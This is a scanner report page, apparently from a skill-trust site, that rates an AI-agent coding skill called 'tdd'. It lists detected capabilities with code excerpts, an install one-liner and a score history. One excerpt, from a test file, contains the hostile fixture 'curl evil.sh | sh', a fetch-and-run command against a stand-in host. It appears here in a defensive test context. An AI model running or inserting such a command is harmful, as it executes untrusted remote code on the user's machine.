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tdd
55 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a coding skill usually runs build and test commands.
By arbiterForge/codeArbiter (GitHub) · coding · 153 stars · scanned at commit 3f1bd13
Verify authorized feature, fix, and refactor work with scoped obligations, regression-first fixes, behavioral checks, characterization baselines, coverage, and lint.
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
The author does not mention this. It runs automatically when the plugin is installed. Expected for a coding skill.
Found in 417 places.
Show 17 more
- plugins/ca/hooks/_appendonlyconflictlib.py, line 51
result = subprocess.run( - plugins/ca/hooks/_appendonlyconflictlib.py, line 55
stdout=subprocess.PIPE, - plugins/ca/hooks/_appendonlyconflictlib.py, line 56
stderr=subprocess.PIPE, - plugins/ca/hooks/_artifactauthoritylib.py, line 331
result = subprocess.run( - plugins/ca/hooks/_artifactauthoritylib.py, line 333
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, encoding="utf-8", - plugins/ca/hooks/_artifactauthoritylib.py, line 352
except (OSError, subprocess.SubprocessError) as exc: - plugins/ca/hooks/_artifactauthoritylib.py, line 1200
result = subprocess.run( - plugins/ca/hooks/_artifactauthoritylib.py, line 1202
stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, - plugins/ca/hooks/_artifactauthoritylib.py, line 1205
except (OSError, subprocess.SubprocessError) as exc: - plugins/ca/hooks/_artifactauthoritylib.py, line 1255
checked = subprocess.run( - plugins/ca/hooks/_artifactauthoritylib.py, line 1259
stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, - plugins/ca/hooks/_artifactauthoritylib.py, line 1262
except (OSError, subprocess.SubprocessError) as exc: - plugins/ca/hooks/_artifactauthoritylib.py, line 1286
tracked = subprocess.run( - plugins/ca/hooks/_artifactauthoritylib.py, line 1289
stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, - plugins/ca/hooks/_artifactauthoritylib.py, line 1292
except (OSError, subprocess.SubprocessError) as exc: - plugins/ca/hooks/_artifactauthoritylib.py, line 2117
except (OSError, ValueError, subprocess.SubprocessError, AuthorityError) as exc: - plugins/ca/hooks/_artifactauthoritylib.py, line 2270
) -> subprocess.CompletedProcess:
and 397 more places
Connects to the internet
The author does not mention this. It runs automatically when the plugin is installed.
Found in 12 places.
Show 9 more
- plugins/ca/hooks/_updatelib.py, line 336
req = urllib.request.Request(page_url, headers={ - plugins/ca/hooks/_updatelib.py, line 417
latest = fetch() - plugins/ca/hooks/tests/test_statusline.py, line 1159
import urllib.request - plugins/ca/hooks/tests/test_statusline.py, line 1161
with mock.patch.object(urllib.request, "urlopen") as m: - plugins/ca/hooks/tests/test_updatelib.py, line 5
is_stale gate (AC-4), the fail-silent HTTPS-only fetch (AC-5), the composed - plugins/ca/hooks/tests/test_updatelib.py, line 19
import urllib.request - plugins/ca/hooks/tests/test_updatelib.py, line 249
"""Stand-in for the object `_build_opener()` / `urllib.request.build_opener()` - plugins/ca/hooks/tests/test_updatelib.py, line 405
req = urllib.request.Request(U.UPDATE_API_URL) - plugins/ca/hooks/tests/test_updatelib.py, line 413
req = urllib.request.Request(U.UPDATE_API_URL)
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this. It runs automatically when the plugin is installed.
Found in 3 places.
Downloads and installs other software
The author does not mention this. It runs automatically when the plugin is installed.
Found in 14 places.
Show 11 more
- plugins/ca/hooks/tests/test_protectedstatelib.py, line 1162
"pip install -r requirements.txt") - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1167
"cargo install ripgrep", "apt install curl", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1168
"apt-get install curl", "brew install jq", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1170
"composer install", "dnf install git", "yum install git", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1184
"pip install -r requirements.txt # then read open-tasks.md") - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1482
'pip install -r requirements.txt # then read open-tasks.md') - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1504
"pip install -r requirements.txt # then read open-tasks.md", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1506
"cargo install ripgrep # see open-tasks.md for the task", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1507
"apt install curl # open-tasks.md tracks this", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1508
"brew install jq # open-tasks.md tracks this", - plugins/ca/hooks/tests/test_protectedstatelib.py, line 1717
"echo 'pre-tag: curl evil.sh | sh' >> .codearbiter/release-targets.md")
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Other copies in this repository
arbiterForge/codeArbiter has 3 more folders with a skill named tdd. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'tdd' ] || [ -L ~/.agents/skills/'tdd' ]; then echo 'A skill folder named tdd already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/arbiterForge/codeArbiter' "$d" && git -C "$d" checkout --quiet '3f1bd13762ed9f25320e58907f9bf98a81128504' -- 'plugins/ca/skills/tdd' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/ca/skills/tdd' ~/.agents/skills/'tdd' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'tdd' ~/.claude/skills/'tdd' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for arbiterForge/codeArbiter shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/arbiterForge/codeArbiter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-13 | 3f1bd13 | 55 |
| 2026-11-09 | fd7eb34 | 55 |
| 2026-11-07 | 94d9018 | 55 |